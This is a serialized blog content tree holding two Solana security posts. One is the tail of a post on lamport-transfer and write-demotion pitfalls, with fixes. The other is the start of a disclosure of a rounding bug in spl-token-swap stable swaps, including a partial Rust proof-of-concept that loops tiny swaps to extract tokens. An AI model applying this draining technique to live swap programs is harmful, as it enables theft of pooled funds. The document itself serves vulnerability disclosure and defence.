",{"type":22,"tag":114,"props":4733,"children":4735},{"className":4734},[],[4736],{"type":28,"value":4737},"secp256r1_program::id()",{"type":28,"value":4739}," as the king in a contract.",{"type":22,"tag":31,"props":4741,"children":4742},{},[4743,4745,4750],{"type":28,"value":4744},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":22,"tag":114,"props":4746,"children":4748},{"className":4747},[],[4749],{"type":28,"value":4737},{"type":28,"value":4751}," becomes the eternal king, and no one can dethrone it.",{"type":22,"tag":1899,"props":4753,"children":4755},{"id":4754},"fix-3-preventing-write-demotion-pitfalls",[4756],{"type":28,"value":4757},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":22,"tag":31,"props":4759,"children":4760},{},[4761,4763,4769],{"type":28,"value":4762},"Alright, let’s try to fix this ",{"type":22,"tag":4764,"props":4765,"children":4766},"em",{},[4767],{"type":28,"value":4768},"yet another",{"type":28,"value":4770}," edge case — and hopefully close the book on it.",{"type":22,"tag":1899,"props":4772,"children":4774},{"id":4773},"attempt-1-block-known-reserved-accounts",[4775],{"type":28,"value":4776},"Attempt 1: Block Known Reserved Accounts",{"type":22,"tag":31,"props":4778,"children":4779},{},[4780],{"type":28,"value":4781},"One naive solution is to reject any known reserved account, for example:",{"type":22,"tag":107,"props":4783,"children":4785},{"className":1912,"code":4784,"language":1914,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[4786],{"type":22,"tag":114,"props":4787,"children":4788},{"__ignoreMap":7},[4789,4797],{"type":22,"tag":118,"props":4790,"children":4791},{"class":120,"line":121},[4792],{"type":22,"tag":118,"props":4793,"children":4794},{"style":125},[4795],{"type":28,"value":4796},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":22,"tag":118,"props":4798,"children":4799},{"class":120,"line":142},[4800],{"type":22,"tag":118,"props":4801,"children":4802},{"style":674},[4803],{"type":28,"value":4804},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":22,"tag":31,"props":4806,"children":4807},{},[4808,4810,4815],{"type":28,"value":4809},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":22,"tag":114,"props":4811,"children":4813},{"className":4812},[],[4814],{"type":28,"value":4649},{"type":28,"value":4816}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":22,"tag":1899,"props":4818,"children":4820},{"id":4819},"attempt-2-use-a-pda-vault",[4821],{"type":28,"value":4822},"Attempt 2: Use a PDA Vault",{"type":22,"tag":31,"props":4824,"children":4825},{},[4826,4828,4833],{"type":28,"value":4827},"A more future-proof fix is to avoid ",{"type":22,"tag":74,"props":4829,"children":4830},{},[4831],{"type":28,"value":4832},"transferring lamports to arbitrary accounts",{"type":28,"value":4834}," altogether.",{"type":22,"tag":31,"props":4836,"children":4837},{},[4838],{"type":28,"value":4839},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":22,"tag":23,"props":4841,"children":4843},{"id":4842},"final-thoughts",[4844],{"type":28,"value":4845},"Final Thoughts",{"type":22,"tag":31,"props":4847,"children":4848},{},[4849],{"type":28,"value":4850},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":22,"tag":31,"props":4852,"children":4853},{},[4854],{"type":28,"value":4855},"We can safely transfer lamports to an account under the following conditions:",{"type":22,"tag":64,"props":4857,"children":4858},{},[4859,4864,4869],{"type":22,"tag":68,"props":4860,"children":4861},{},[4862],{"type":28,"value":4863},"It's not executable.",{"type":22,"tag":68,"props":4865,"children":4866},{},[4867],{"type":28,"value":4868},"Its balance, after the transfer, remains rent-exempt.",{"type":22,"tag":68,"props":4870,"children":4871},{},[4872],{"type":28,"value":4873},"It's not a reserved account.",{"type":22,"tag":31,"props":4875,"children":4876},{},[4877],{"type":28,"value":4878},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":22,"tag":4880,"props":4881,"children":4882},"style",{},[4883],{"type":28,"value":4884},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":142,"depth":142,"links":4886},[4887,4888,4889,4895],{"id":25,"depth":142,"text":29},{"id":54,"depth":142,"text":57},{"id":1284,"depth":142,"text":1287,"children":4890},[4891,4892,4894],{"id":1291,"depth":177,"text":1294},{"id":2006,"depth":177,"text":4893},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":3349,"depth":177,"text":3352},{"id":4842,"depth":142,"text":4845},"markdown","content:blog:2025-05-14-king-of-the-sol.md","content","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol","md",[4903,7390,7726,11257,15610,20712,30942,32371,33134,37362,42387,47814,48971,52461,62854,69581,71418,73125,77448,91347,94068,98857,101297,103642,109428,125248,133548,143472,148750,158143,160480],{"_path":4904,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4905,"description":4906,"image":4907,"date":4911,"isFeatured":15,"tags":4912,"onBlogPage":15,"body":4914,"_type":4896,"_id":7387,"_source":4898,"_file":7388,"_stem":7389,"_extension":4901},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":4908,"width":4909,"height":4910},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[17,4913],"report",{"type":19,"children":4915,"toc":7381},[4916,4930,4935,4940,4948,4954,4959,4964,4972,4980,4985,4990,4998,5003,5008,5374,5384,5389,5911,5916,5924,5932,5938,5943,5948,5953,5960,5972,5977,5989,6229,6234,6239,6245,6250,6255,6298,6303,6311,6316,6321,6326,6470,6483,6597,6611,6619,6633,6641,6654,6659,6671,6679,6701,7319,7325,7330,7342,7355,7362,7367,7372,7377],{"type":22,"tag":31,"props":4917,"children":4918},{},[4919,4921,4928],{"type":28,"value":4920},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":22,"tag":42,"props":4922,"children":4925},{"href":4923,"rel":4924},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[46],[4926],{"type":28,"value":4927},"spl-token-swap",{"type":28,"value":4929},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":22,"tag":31,"props":4931,"children":4932},{},[4933],{"type":28,"value":4934},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":22,"tag":31,"props":4936,"children":4937},{},[4938],{"type":28,"value":4939},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":22,"tag":31,"props":4941,"children":4942},{},[4943],{"type":22,"tag":4764,"props":4944,"children":4945},{},[4946],{"type":28,"value":4947},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":22,"tag":23,"props":4949,"children":4951},{"id":4950},"discovery",[4952],{"type":28,"value":4953},"Discovery",{"type":22,"tag":31,"props":4955,"children":4956},{},[4957],{"type":28,"value":4958},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":22,"tag":31,"props":4960,"children":4961},{},[4962],{"type":28,"value":4963},"After a while, he noticed something weird..",{"type":22,"tag":1269,"props":4965,"children":4966},{},[4967],{"type":22,"tag":31,"props":4968,"children":4969},{},[4970],{"type":28,"value":4971},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":22,"tag":107,"props":4973,"children":4975},{"code":4974},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[4976],{"type":22,"tag":114,"props":4977,"children":4978},{"__ignoreMap":7},[4979],{"type":28,"value":4974},{"type":22,"tag":31,"props":4981,"children":4982},{},[4983],{"type":28,"value":4984},"Somehow, we were getting tokens from nothing?",{"type":22,"tag":31,"props":4986,"children":4987},{},[4988],{"type":28,"value":4989},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":22,"tag":107,"props":4991,"children":4993},{"code":4992},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[4994],{"type":22,"tag":114,"props":4995,"children":4996},{"__ignoreMap":7},[4997],{"type":28,"value":4992},{"type":22,"tag":31,"props":4999,"children":5000},{},[5001],{"type":28,"value":5002},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":22,"tag":31,"props":5004,"children":5005},{},[5006],{"type":28,"value":5007},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":22,"tag":107,"props":5009,"children":5011},{"code":5010,"language":111,"meta":7,"className":109,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n",[5012],{"type":22,"tag":114,"props":5013,"children":5014},{"__ignoreMap":7},[5015,5023,5052,5085,5182,5286,5311,5323,5340,5360,5367],{"type":22,"tag":118,"props":5016,"children":5017},{"class":120,"line":121},[5018],{"type":22,"tag":118,"props":5019,"children":5020},{"style":257},[5021],{"type":28,"value":5022},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":22,"tag":118,"props":5024,"children":5025},{"class":120,"line":142},[5026,5030,5034,5039,5043,5048],{"type":22,"tag":118,"props":5027,"children":5028},{"style":146},[5029],{"type":28,"value":4152},{"type":22,"tag":118,"props":5031,"children":5032},{"style":146},[5033],{"type":28,"value":4157},{"type":22,"tag":118,"props":5035,"children":5036},{"style":204},[5037],{"type":28,"value":5038}," y",{"type":22,"tag":118,"props":5040,"children":5041},{"style":210},[5042],{"type":28,"value":837},{"type":22,"tag":118,"props":5044,"children":5045},{"style":204},[5046],{"type":28,"value":5047}," d_val",{"type":22,"tag":118,"props":5049,"children":5050},{"style":125},[5051],{"type":28,"value":801},{"type":22,"tag":118,"props":5053,"children":5054},{"class":120,"line":177},[5055,5060,5065,5070,5075,5080],{"type":22,"tag":118,"props":5056,"children":5057},{"style":1480},[5058],{"type":28,"value":5059},"    for",{"type":22,"tag":118,"props":5061,"children":5062},{"style":204},[5063],{"type":28,"value":5064}," _",{"type":22,"tag":118,"props":5066,"children":5067},{"style":146},[5068],{"type":28,"value":5069}," in",{"type":22,"tag":118,"props":5071,"children":5072},{"style":674},[5073],{"type":28,"value":5074}," 0",{"type":22,"tag":118,"props":5076,"children":5077},{"style":210},[5078],{"type":28,"value":5079},"..",{"type":22,"tag":118,"props":5081,"children":5082},{"style":125},[5083],{"type":28,"value":5084},"ITERATIONS {\n",{"type":22,"tag":118,"props":5086,"children":5087},{"class":120,"line":195},[5088,5092,5096,5101,5105,5109,5113,5117,5121,5126,5130,5134,5139,5143,5148,5152,5156,5161,5165,5170,5174,5178],{"type":22,"tag":118,"props":5089,"children":5090},{"style":146},[5091],{"type":28,"value":827},{"type":22,"tag":118,"props":5093,"children":5094},{"style":125},[5095],{"type":28,"value":842},{"type":22,"tag":118,"props":5097,"children":5098},{"style":204},[5099],{"type":28,"value":5100},"y_new",{"type":22,"tag":118,"props":5102,"children":5103},{"style":125},[5104],{"type":28,"value":231},{"type":22,"tag":118,"props":5106,"children":5107},{"style":204},[5108],{"type":28,"value":3422},{"type":22,"tag":118,"props":5110,"children":5111},{"style":125},[5112],{"type":28,"value":588},{"type":22,"tag":118,"props":5114,"children":5115},{"style":210},[5116],{"type":28,"value":282},{"type":22,"tag":118,"props":5118,"children":5119},{"style":125},[5120],{"type":28,"value":842},{"type":22,"tag":118,"props":5122,"children":5123},{"style":532},[5124],{"type":28,"value":5125},"checked_u8_power",{"type":22,"tag":118,"props":5127,"children":5128},{"style":125},[5129],{"type":28,"value":540},{"type":22,"tag":118,"props":5131,"children":5132},{"style":210},[5133],{"type":28,"value":1407},{"type":22,"tag":118,"props":5135,"children":5136},{"style":204},[5137],{"type":28,"value":5138},"y",{"type":22,"tag":118,"props":5140,"children":5141},{"style":125},[5142],{"type":28,"value":231},{"type":22,"tag":118,"props":5144,"children":5145},{"style":674},[5146],{"type":28,"value":5147},"2",{"type":22,"tag":118,"props":5149,"children":5150},{"style":125},[5151],{"type":28,"value":3627},{"type":22,"tag":118,"props":5153,"children":5154},{"style":210},[5155],{"type":28,"value":1205},{"type":22,"tag":118,"props":5157,"children":5158},{"style":532},[5159],{"type":28,"value":5160},"checked_add",{"type":22,"tag":118,"props":5162,"children":5163},{"style":125},[5164],{"type":28,"value":540},{"type":22,"tag":118,"props":5166,"children":5167},{"style":204},[5168],{"type":28,"value":5169},"c",{"type":22,"tag":118,"props":5171,"children":5172},{"style":125},[5173],{"type":28,"value":3627},{"type":22,"tag":118,"props":5175,"children":5176},{"style":210},[5177],{"type":28,"value":796},{"type":22,"tag":118,"props":5179,"children":5180},{"style":125},[5181],{"type":28,"value":3665},{"type":22,"tag":118,"props":5183,"children":5184},{"class":120,"line":244},[5185,5189,5194,5198,5203,5207,5211,5215,5219,5223,5227,5231,5235,5239,5244,5248,5252,5257,5261,5266,5270,5274,5278,5282],{"type":22,"tag":118,"props":5186,"children":5187},{"style":210},[5188],{"type":28,"value":3546},{"type":22,"tag":118,"props":5190,"children":5191},{"style":532},[5192],{"type":28,"value":5193},"checked_ceil_div",{"type":22,"tag":118,"props":5195,"children":5196},{"style":125},[5197],{"type":28,"value":540},{"type":22,"tag":118,"props":5199,"children":5200},{"style":532},[5201],{"type":28,"value":5202},"checked_u8_mul",{"type":22,"tag":118,"props":5204,"children":5205},{"style":125},[5206],{"type":28,"value":540},{"type":22,"tag":118,"props":5208,"children":5209},{"style":210},[5210],{"type":28,"value":1407},{"type":22,"tag":118,"props":5212,"children":5213},{"style":204},[5214],{"type":28,"value":5138},{"type":22,"tag":118,"props":5216,"children":5217},{"style":125},[5218],{"type":28,"value":231},{"type":22,"tag":118,"props":5220,"children":5221},{"style":674},[5222],{"type":28,"value":5147},{"type":22,"tag":118,"props":5224,"children":5225},{"style":125},[5226],{"type":28,"value":3627},{"type":22,"tag":118,"props":5228,"children":5229},{"style":210},[5230],{"type":28,"value":1205},{"type":22,"tag":118,"props":5232,"children":5233},{"style":532},[5234],{"type":28,"value":5160},{"type":22,"tag":118,"props":5236,"children":5237},{"style":125},[5238],{"type":28,"value":540},{"type":22,"tag":118,"props":5240,"children":5241},{"style":204},[5242],{"type":28,"value":5243},"b",{"type":22,"tag":118,"props":5245,"children":5246},{"style":125},[5247],{"type":28,"value":3627},{"type":22,"tag":118,"props":5249,"children":5250},{"style":210},[5251],{"type":28,"value":1205},{"type":22,"tag":118,"props":5253,"children":5254},{"style":532},[5255],{"type":28,"value":5256},"checked_sub",{"type":22,"tag":118,"props":5258,"children":5259},{"style":125},[5260],{"type":28,"value":540},{"type":22,"tag":118,"props":5262,"children":5263},{"style":204},[5264],{"type":28,"value":5265},"d_val",{"type":22,"tag":118,"props":5267,"children":5268},{"style":125},[5269],{"type":28,"value":3627},{"type":22,"tag":118,"props":5271,"children":5272},{"style":210},[5273],{"type":28,"value":796},{"type":22,"tag":118,"props":5275,"children":5276},{"style":125},[5277],{"type":28,"value":3627},{"type":22,"tag":118,"props":5279,"children":5280},{"style":210},[5281],{"type":28,"value":796},{"type":22,"tag":118,"props":5283,"children":5284},{"style":125},[5285],{"type":28,"value":801},{"type":22,"tag":118,"props":5287,"children":5288},{"class":120,"line":253},[5289,5294,5299,5303,5307],{"type":22,"tag":118,"props":5290,"children":5291},{"style":1480},[5292],{"type":28,"value":5293},"        if",{"type":22,"tag":118,"props":5295,"children":5296},{"style":204},[5297],{"type":28,"value":5298}," y_new",{"type":22,"tag":118,"props":5300,"children":5301},{"style":210},[5302],{"type":28,"value":1780},{"type":22,"tag":118,"props":5304,"children":5305},{"style":204},[5306],{"type":28,"value":5038},{"type":22,"tag":118,"props":5308,"children":5309},{"style":125},[5310],{"type":28,"value":1474},{"type":22,"tag":118,"props":5312,"children":5313},{"class":120,"line":263},[5314,5319],{"type":22,"tag":118,"props":5315,"children":5316},{"style":1480},[5317],{"type":28,"value":5318},"            break",{"type":22,"tag":118,"props":5320,"children":5321},{"style":125},[5322],{"type":28,"value":801},{"type":22,"tag":118,"props":5324,"children":5325},{"class":120,"line":318},[5326,5331,5336],{"type":22,"tag":118,"props":5327,"children":5328},{"style":125},[5329],{"type":28,"value":5330},"        } ",{"type":22,"tag":118,"props":5332,"children":5333},{"style":1480},[5334],{"type":28,"value":5335},"else",{"type":22,"tag":118,"props":5337,"children":5338},{"style":125},[5339],{"type":28,"value":1474},{"type":22,"tag":118,"props":5341,"children":5342},{"class":120,"line":351},[5343,5348,5352,5356],{"type":22,"tag":118,"props":5344,"children":5345},{"style":204},[5346],{"type":28,"value":5347},"            y",{"type":22,"tag":118,"props":5349,"children":5350},{"style":210},[5351],{"type":28,"value":837},{"type":22,"tag":118,"props":5353,"children":5354},{"style":204},[5355],{"type":28,"value":5298},{"type":22,"tag":118,"props":5357,"children":5358},{"style":125},[5359],{"type":28,"value":801},{"type":22,"tag":118,"props":5361,"children":5362},{"class":120,"line":359},[5363],{"type":22,"tag":118,"props":5364,"children":5365},{"style":125},[5366],{"type":28,"value":1835},{"type":22,"tag":118,"props":5368,"children":5369},{"class":120,"line":368},[5370],{"type":22,"tag":118,"props":5371,"children":5372},{"style":125},[5373],{"type":28,"value":1254},{"type":22,"tag":31,"props":5375,"children":5376},{},[5377,5382],{"type":22,"tag":4764,"props":5378,"children":5379},{},[5380],{"type":28,"value":5381},"approximate",{"type":28,"value":5383},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":22,"tag":31,"props":5385,"children":5386},{},[5387],{"type":28,"value":5388},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":22,"tag":107,"props":5390,"children":5392},{"code":5391,"language":111,"meta":7,"className":109,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[5393],{"type":22,"tag":114,"props":5394,"children":5395},{"__ignoreMap":7},[5396,5404,5444,5452,5481,5506,5522,5538,5563,5579,5595,5611,5627,5643,5655,5663,5684,5691,5699,5765,5772,5801,5808,5838,5845,5904],{"type":22,"tag":118,"props":5397,"children":5398},{"class":120,"line":121},[5399],{"type":22,"tag":118,"props":5400,"children":5401},{"style":257},[5402],{"type":28,"value":5403},"// from sbtc to renbtc\n",{"type":22,"tag":118,"props":5405,"children":5406},{"class":120,"line":142},[5407,5412,5417,5421,5425,5430,5435,5440],{"type":22,"tag":118,"props":5408,"children":5409},{"style":1480},[5410],{"type":28,"value":5411},"for",{"type":22,"tag":118,"props":5413,"children":5414},{"style":204},[5415],{"type":28,"value":5416}," i",{"type":22,"tag":118,"props":5418,"children":5419},{"style":146},[5420],{"type":28,"value":5069},{"type":22,"tag":118,"props":5422,"children":5423},{"style":674},[5424],{"type":28,"value":5074},{"type":22,"tag":118,"props":5426,"children":5427},{"style":210},[5428],{"type":28,"value":5429}," ..",{"type":22,"tag":118,"props":5431,"children":5432},{"style":674},[5433],{"type":28,"value":5434}," 50",{"type":22,"tag":118,"props":5436,"children":5437},{"style":131},[5438],{"type":28,"value":5439},"u8",{"type":22,"tag":118,"props":5441,"children":5442},{"style":125},[5443],{"type":28,"value":1474},{"type":22,"tag":118,"props":5445,"children":5446},{"class":120,"line":177},[5447],{"type":22,"tag":118,"props":5448,"children":5449},{"style":257},[5450],{"type":28,"value":5451},"    // create swap transaction\n",{"type":22,"tag":118,"props":5453,"children":5454},{"class":120,"line":195},[5455,5459,5463,5468,5472,5477],{"type":22,"tag":118,"props":5456,"children":5457},{"style":146},[5458],{"type":28,"value":4152},{"type":22,"tag":118,"props":5460,"children":5461},{"style":146},[5462],{"type":28,"value":4157},{"type":22,"tag":118,"props":5464,"children":5465},{"style":204},[5466],{"type":28,"value":5467}," swap_instruction",{"type":22,"tag":118,"props":5469,"children":5470},{"style":210},[5471],{"type":28,"value":837},{"type":22,"tag":118,"props":5473,"children":5474},{"style":532},[5475],{"type":28,"value":5476}," swap",{"type":22,"tag":118,"props":5478,"children":5479},{"style":125},[5480],{"type":28,"value":696},{"type":22,"tag":118,"props":5482,"children":5483},{"class":120,"line":244},[5484,5489,5494,5498,5502],{"type":22,"tag":118,"props":5485,"children":5486},{"style":210},[5487],{"type":28,"value":5488},"        &",{"type":22,"tag":118,"props":5490,"children":5491},{"style":125},[5492],{"type":28,"value":5493},"spl_token",{"type":22,"tag":118,"props":5495,"children":5496},{"style":210},[5497],{"type":28,"value":1190},{"type":22,"tag":118,"props":5499,"children":5500},{"style":532},[5501],{"type":28,"value":4679},{"type":22,"tag":118,"props":5503,"children":5504},{"style":125},[5505],{"type":28,"value":768},{"type":22,"tag":118,"props":5507,"children":5508},{"class":120,"line":253},[5509,5513,5518],{"type":22,"tag":118,"props":5510,"children":5511},{"style":210},[5512],{"type":28,"value":5488},{"type":22,"tag":118,"props":5514,"children":5515},{"style":204},[5516],{"type":28,"value":5517},"swap_pubkey",{"type":22,"tag":118,"props":5519,"children":5520},{"style":125},[5521],{"type":28,"value":782},{"type":22,"tag":118,"props":5523,"children":5524},{"class":120,"line":263},[5525,5529,5534],{"type":22,"tag":118,"props":5526,"children":5527},{"style":210},[5528],{"type":28,"value":5488},{"type":22,"tag":118,"props":5530,"children":5531},{"style":204},[5532],{"type":28,"value":5533},"swap_authority_pubkey",{"type":22,"tag":118,"props":5535,"children":5536},{"style":125},[5537],{"type":28,"value":782},{"type":22,"tag":118,"props":5539,"children":5540},{"class":120,"line":318},[5541,5545,5550,5554,5559],{"type":22,"tag":118,"props":5542,"children":5543},{"style":210},[5544],{"type":28,"value":5488},{"type":22,"tag":118,"props":5546,"children":5547},{"style":204},[5548],{"type":28,"value":5549},"test_account_signer",{"type":22,"tag":118,"props":5551,"children":5552},{"style":210},[5553],{"type":28,"value":292},{"type":22,"tag":118,"props":5555,"children":5556},{"style":532},[5557],{"type":28,"value":5558},"pubkey",{"type":22,"tag":118,"props":5560,"children":5561},{"style":125},[5562],{"type":28,"value":768},{"type":22,"tag":118,"props":5564,"children":5565},{"class":120,"line":351},[5566,5570,5575],{"type":22,"tag":118,"props":5567,"children":5568},{"style":210},[5569],{"type":28,"value":5488},{"type":22,"tag":118,"props":5571,"children":5572},{"style":204},[5573],{"type":28,"value":5574},"sbtc_user_account",{"type":22,"tag":118,"props":5576,"children":5577},{"style":125},[5578],{"type":28,"value":782},{"type":22,"tag":118,"props":5580,"children":5581},{"class":120,"line":359},[5582,5586,5591],{"type":22,"tag":118,"props":5583,"children":5584},{"style":210},[5585],{"type":28,"value":5488},{"type":22,"tag":118,"props":5587,"children":5588},{"style":204},[5589],{"type":28,"value":5590},"sbtc_reserve",{"type":22,"tag":118,"props":5592,"children":5593},{"style":125},[5594],{"type":28,"value":782},{"type":22,"tag":118,"props":5596,"children":5597},{"class":120,"line":368},[5598,5602,5607],{"type":22,"tag":118,"props":5599,"children":5600},{"style":210},[5601],{"type":28,"value":5488},{"type":22,"tag":118,"props":5603,"children":5604},{"style":204},[5605],{"type":28,"value":5606},"renbtc_reserve",{"type":22,"tag":118,"props":5608,"children":5609},{"style":125},[5610],{"type":28,"value":782},{"type":22,"tag":118,"props":5612,"children":5613},{"class":120,"line":384},[5614,5618,5623],{"type":22,"tag":118,"props":5615,"children":5616},{"style":210},[5617],{"type":28,"value":5488},{"type":22,"tag":118,"props":5619,"children":5620},{"style":204},[5621],{"type":28,"value":5622},"renbtc_user_account",{"type":22,"tag":118,"props":5624,"children":5625},{"style":125},[5626],{"type":28,"value":782},{"type":22,"tag":118,"props":5628,"children":5629},{"class":120,"line":417},[5630,5634,5639],{"type":22,"tag":118,"props":5631,"children":5632},{"style":210},[5633],{"type":28,"value":5488},{"type":22,"tag":118,"props":5635,"children":5636},{"style":204},[5637],{"type":28,"value":5638},"admin_fee_account_sbtc_to_ren",{"type":22,"tag":118,"props":5640,"children":5641},{"style":125},[5642],{"type":28,"value":782},{"type":22,"tag":118,"props":5644,"children":5645},{"class":120,"line":425},[5646,5651],{"type":22,"tag":118,"props":5647,"children":5648},{"style":674},[5649],{"type":28,"value":5650},"        1",{"type":22,"tag":118,"props":5652,"children":5653},{"style":125},[5654],{"type":28,"value":782},{"type":22,"tag":118,"props":5656,"children":5657},{"class":120,"line":441},[5658],{"type":22,"tag":118,"props":5659,"children":5660},{"style":674},[5661],{"type":28,"value":5662},"        2\n",{"type":22,"tag":118,"props":5664,"children":5665},{"class":120,"line":475},[5666,5671,5675,5680],{"type":22,"tag":118,"props":5667,"children":5668},{"style":125},[5669],{"type":28,"value":5670},"    )",{"type":22,"tag":118,"props":5672,"children":5673},{"style":210},[5674],{"type":28,"value":292},{"type":22,"tag":118,"props":5676,"children":5677},{"style":532},[5678],{"type":28,"value":5679},"unwrap",{"type":22,"tag":118,"props":5681,"children":5682},{"style":125},[5683],{"type":28,"value":1098},{"type":22,"tag":118,"props":5685,"children":5686},{"class":120,"line":484},[5687],{"type":22,"tag":118,"props":5688,"children":5689},{"emptyLinePlaceholder":15},[5690],{"type":28,"value":250},{"type":22,"tag":118,"props":5692,"children":5693},{"class":120,"line":492},[5694],{"type":22,"tag":118,"props":5695,"children":5696},{"style":257},[5697],{"type":28,"value":5698},"    // nonce\n",{"type":22,"tag":118,"props":5700,"children":5701},{"class":120,"line":501},[5702,5707,5711,5716,5720,5725,5729,5733,5737,5742,5747,5751,5755,5760],{"type":22,"tag":118,"props":5703,"children":5704},{"style":204},[5705],{"type":28,"value":5706},"    swap_instruction",{"type":22,"tag":118,"props":5708,"children":5709},{"style":210},[5710],{"type":28,"value":292},{"type":22,"tag":118,"props":5712,"children":5713},{"style":125},[5714],{"type":28,"value":5715},"data",{"type":22,"tag":118,"props":5717,"children":5718},{"style":210},[5719],{"type":28,"value":292},{"type":22,"tag":118,"props":5721,"children":5722},{"style":532},[5723],{"type":28,"value":5724},"append",{"type":22,"tag":118,"props":5726,"children":5727},{"style":125},[5728],{"type":28,"value":540},{"type":22,"tag":118,"props":5730,"children":5731},{"style":210},[5732],{"type":28,"value":1407},{"type":22,"tag":118,"props":5734,"children":5735},{"style":146},[5736],{"type":28,"value":188},{"type":22,"tag":118,"props":5738,"children":5739},{"style":532},[5740],{"type":28,"value":5741}," vec!",{"type":22,"tag":118,"props":5743,"children":5744},{"style":125},[5745],{"type":28,"value":5746},"[",{"type":22,"tag":118,"props":5748,"children":5749},{"style":204},[5750],{"type":28,"value":3613},{"type":22,"tag":118,"props":5752,"children":5753},{"style":125},[5754],{"type":28,"value":231},{"type":22,"tag":118,"props":5756,"children":5757},{"style":204},[5758],{"type":28,"value":5759},"extranonce",{"type":22,"tag":118,"props":5761,"children":5762},{"style":125},[5763],{"type":28,"value":5764},"]);\n",{"type":22,"tag":118,"props":5766,"children":5767},{"class":120,"line":519},[5768],{"type":22,"tag":118,"props":5769,"children":5770},{"emptyLinePlaceholder":15},[5771],{"type":28,"value":250},{"type":22,"tag":118,"props":5773,"children":5774},{"class":120,"line":606},[5775,5779,5783,5788,5792,5796],{"type":22,"tag":118,"props":5776,"children":5777},{"style":146},[5778],{"type":28,"value":4152},{"type":22,"tag":118,"props":5780,"children":5781},{"style":146},[5782],{"type":28,"value":4157},{"type":22,"tag":118,"props":5784,"children":5785},{"style":204},[5786],{"type":28,"value":5787}," 